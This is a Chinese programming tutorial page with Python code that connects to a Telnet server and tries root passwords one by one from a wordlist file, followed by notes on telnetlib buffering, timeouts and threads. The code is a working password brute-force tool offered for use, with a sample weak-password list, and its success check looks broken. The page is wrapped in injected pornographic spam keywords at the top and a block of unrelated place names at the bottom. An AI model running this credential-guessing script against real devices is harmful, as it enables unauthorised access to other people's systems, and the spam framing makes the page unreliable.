最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實現(xiàn)Telnet自動連接檢測密碼的示例

 更新時間:2021年04月15日 15:59:59   作者:周小董  
這篇文章主要介紹了Python實現(xiàn)Telnet自動連接檢測密碼的示例,幫助大家更好的理解和學(xué)習(xí)使用python,感興趣的朋友可以了解下

最近在學(xué)習(xí)Python網(wǎng)絡(luò)相關(guān)編程,這個代碼實現(xiàn)了Telnet自動連接檢測root用戶密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,屏幕輸出停止。

Python內(nèi)置了telnetlib模塊,支持telnet遠(yuǎn)程操作,只要直接import就可以。

代碼如下:

# encoding=utf-8
import telnetlib
import time
import sys
import os


def do_telnet(Host, Port, username, password, finish):
    # 連接Telnet服務(wù)器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)

    # 輸入登錄用戶名
    tn.read_until("login: ")
    tn.write(str(username) + '\n')

    # 輸入登錄密碼
    tn.read_until("Password: ")
    tn.write(str(password) + '\n')

    # 判斷密碼錯誤提示,如果沒有這個提示說明登錄成功
    if tn.read_until(finish):
        print("****** login incorrect!\n")
    tn.close()


if __name__ == '__main__':
    Host = input("IP:")  # Telnet服務(wù)器IP
    Port = input("Port:")  # Telnet服務(wù)器端口
    username = 'root'  # 登錄用戶名
    finish = 'incorrect'  # 密碼錯誤提示
    pw_file = open('.\\pw.txt', 'r+')  # 密碼文件
    Index = 0
    print(time.asctime(), ":   ****** begin", "\n")
    while True:
        password = pw_file.readline()
        Index += 1
        print(Index, time.asctime(), ":   ****** try", "", username, ":", password, "")
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

密碼本pw.txt,內(nèi)容例如:

root  
admin  
12345  
888888 

輸出如下:

注:我這邊測試的目標(biāo)主機是嵌入式linux系統(tǒng),用戶名是root,密碼錯誤返回的是incorrect提示。你可能要根據(jù)目標(biāo)系統(tǒng)不同修改用戶名和錯誤提示。

telnetlib提供好多方法可以得到數(shù)據(jù),象read_until()是當(dāng)結(jié)果中存在想要的信息時返回,read_some()是只要有結(jié)果就返回,read_very_lazy()是返回緩沖區(qū)中的數(shù)據(jù)。經(jīng)過看代碼,telnetlib采用緩沖的處理方式,因此數(shù)據(jù)并不是一下子就返回的,而是先放在了緩沖區(qū)中。許多的讀取處理都是圍繞著這個緩沖區(qū)來的。而緩沖區(qū)的信息何時到達(dá)就不說不清楚了,也許很快,也許很慢,也許分別到達(dá),也許一下子就收到了。因此,對于數(shù)據(jù)不一定到齊的這種情況,就采用了象read_until()來判斷緩沖區(qū)中的數(shù)據(jù)是否有想要的內(nèi)容,如果沒有就等待,除非到達(dá)了超時時間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達(dá)式,功能要強大得多。

在網(wǎng)上還有一個叫 Pexpect 它好象功能強大,它支持多種協(xié)議,它的主頁就建議使用 Pexpect 來下載它的文檔。不過因為網(wǎng)絡(luò)不太好就沒有下來,不知道支不支持 Telnet 協(xié)議。

上面的程序再配以 ftplib 的功能就可以做一個遠(yuǎn)程更新的維護程序。只不過如何判斷后臺返回的信息,我沒有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什么別的方法。最主要的問題是,返回的數(shù)據(jù)不一定完整。好象沒有提供一個read_line()的方法。

其中port和timeout是可選的參數(shù),而timeout的只是在初始化socket連接時起作用,而一旦連接成功后如果出現(xiàn)等待那就不會起作用了,比如使用read_until方式獲取內(nèi)容時返回的內(nèi)容與指定的內(nèi)容沒有吻合,那么就會造成提示等待的情況,這時timeout是不會起作用的,而這個socket連接會一直保持著,永生不死。

那么如何解決這個問題呢,其實還有一種比較原始的方法,就是使用sleep方法來代替read_until方法,這樣就不會出現(xiàn)種情況,因為到點就會自己輸入,最多也就是最后得不到想要的結(jié)果,但是這個方式很不穩(wěn)定,兼容性也不好;另一種方法是使用線程來啟動這個函數(shù),然后對子線程進行超時設(shè)置,這樣就可以達(dá)到間接控制這個telnet連接的目的了。

import threading  

th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))  
th1.start()  
th1.join(20)  ##20秒超時時間 

遇到的問題:

傳遞給Telnet方法的字符串都會被解一次碼,所以如果你傳遞過去需要write的字符串是已經(jīng)解碼的unicode的話,那么就會報錯的,所以在傳遞發(fā)送的字符串之前還是先編成utf-8為妥,用ascii編碼也可以。

以上就是Python實現(xiàn)Telnet自動連接檢測密碼的示例的詳細(xì)內(nèi)容,更多關(guān)于python Telnet自動連接檢測密碼的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 使用NumPy進行數(shù)組數(shù)據(jù)處理的示例詳解

    使用NumPy進行數(shù)組數(shù)據(jù)處理的示例詳解

    NumPy是Python中用于數(shù)值計算的核心包之一,它提供了大量的高效數(shù)組操作函數(shù)和數(shù)學(xué)函數(shù),可以支持多維數(shù)組和矩陣運算。本文主要為大家介紹了NumPy進行數(shù)組數(shù)據(jù)處理的具體方法,需要的可以參考一下
    2023-03-03
  • Pycharm+Flask零基礎(chǔ)項目搭建入門的實現(xiàn)

    Pycharm+Flask零基礎(chǔ)項目搭建入門的實現(xiàn)

    本文主要介紹了Pycharm+Flask零基礎(chǔ)項目搭建入門的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-04-04
  • python算法學(xué)習(xí)之桶排序算法實例(分塊排序)

    python算法學(xué)習(xí)之桶排序算法實例(分塊排序)

    本代碼介紹了python算法學(xué)習(xí)中的桶排序算法實例,大家參考使用吧
    2013-12-12
  • 樹莓派動作捕捉抓拍存儲圖像腳本

    樹莓派動作捕捉抓拍存儲圖像腳本

    這篇文章主要為大家詳細(xì)介紹了樹莓派動作捕捉抓拍存儲圖像腳本,支持Python 2.7,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2019-06-06
  • Python基于scapy實現(xiàn)修改IP發(fā)送請求的方法示例

    Python基于scapy實現(xiàn)修改IP發(fā)送請求的方法示例

    這篇文章主要介紹了Python基于scapy實現(xiàn)修改IP發(fā)送請求的方法,涉及Python網(wǎng)絡(luò)編程中使用scapy操作IP的相關(guān)實現(xiàn)技巧,需要的朋友可以參考下
    2017-07-07
  • Python基礎(chǔ)教程之名稱空間以及作用域

    Python基礎(chǔ)教程之名稱空間以及作用域

    變量是擁有匹配對象的名字(標(biāo)識符),命名空間是一個包含了變量名稱們(鍵)和它們各自相應(yīng)的對象們(值)的字典,下面這篇文章主要給大家介紹了關(guān)于Python基礎(chǔ)教程之名稱空間以及作用域的相關(guān)資料,需要的朋友可以參考下
    2022-01-01
  • Python?異步之如何獲取當(dāng)前和正在運行任務(wù)詳解

    Python?異步之如何獲取當(dāng)前和正在運行任務(wù)詳解

    這篇文章主要為大家介紹了Python?異步之如何獲取當(dāng)前和正在運行任務(wù)詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-03-03
  • import?paddle報錯的成功解決方法

    import?paddle報錯的成功解決方法

    最近安裝paddle的時候遇到了些問題,這里給大家總結(jié)下,下面這篇文章主要給大家介紹了關(guān)于import?paddle報錯的成功解決方法,需要的朋友可以參考下
    2023-06-06
  • 關(guān)于Pandas?count()與values_count()的用法及區(qū)別

    關(guān)于Pandas?count()與values_count()的用法及區(qū)別

    這篇文章主要介紹了關(guān)于Pandas?count()與values_count()的用法及區(qū)別,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-05-05
  • UI自動化定位常用實現(xiàn)方法代碼示例

    UI自動化定位常用實現(xiàn)方法代碼示例

    這篇文章主要介紹了UI自動化定位常用實現(xiàn)方法代碼示例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-10-10

最新評論

河津市| 常德市| 新巴尔虎左旗| 凭祥市| 吴桥县| 渭南市| 凤山市| 拉萨市| 柳州市| 宝丰县| 耒阳市| 航空| 正安县| 永宁县| 建瓯市| 广河县| 田林县| 诏安县| 恩平市| 浦江县| 龙岩市| 沁阳市| 仙游县| 浙江省| 讷河市| 巴彦淖尔市| 麻城市| 股票| 黄陵县| 平原县| 和平区| 阿巴嘎旗| 延长县| 天台县| 平乐县| 高淳县| 湘乡市| 西林县| 绥中县| 宜宾县| 萨迦县|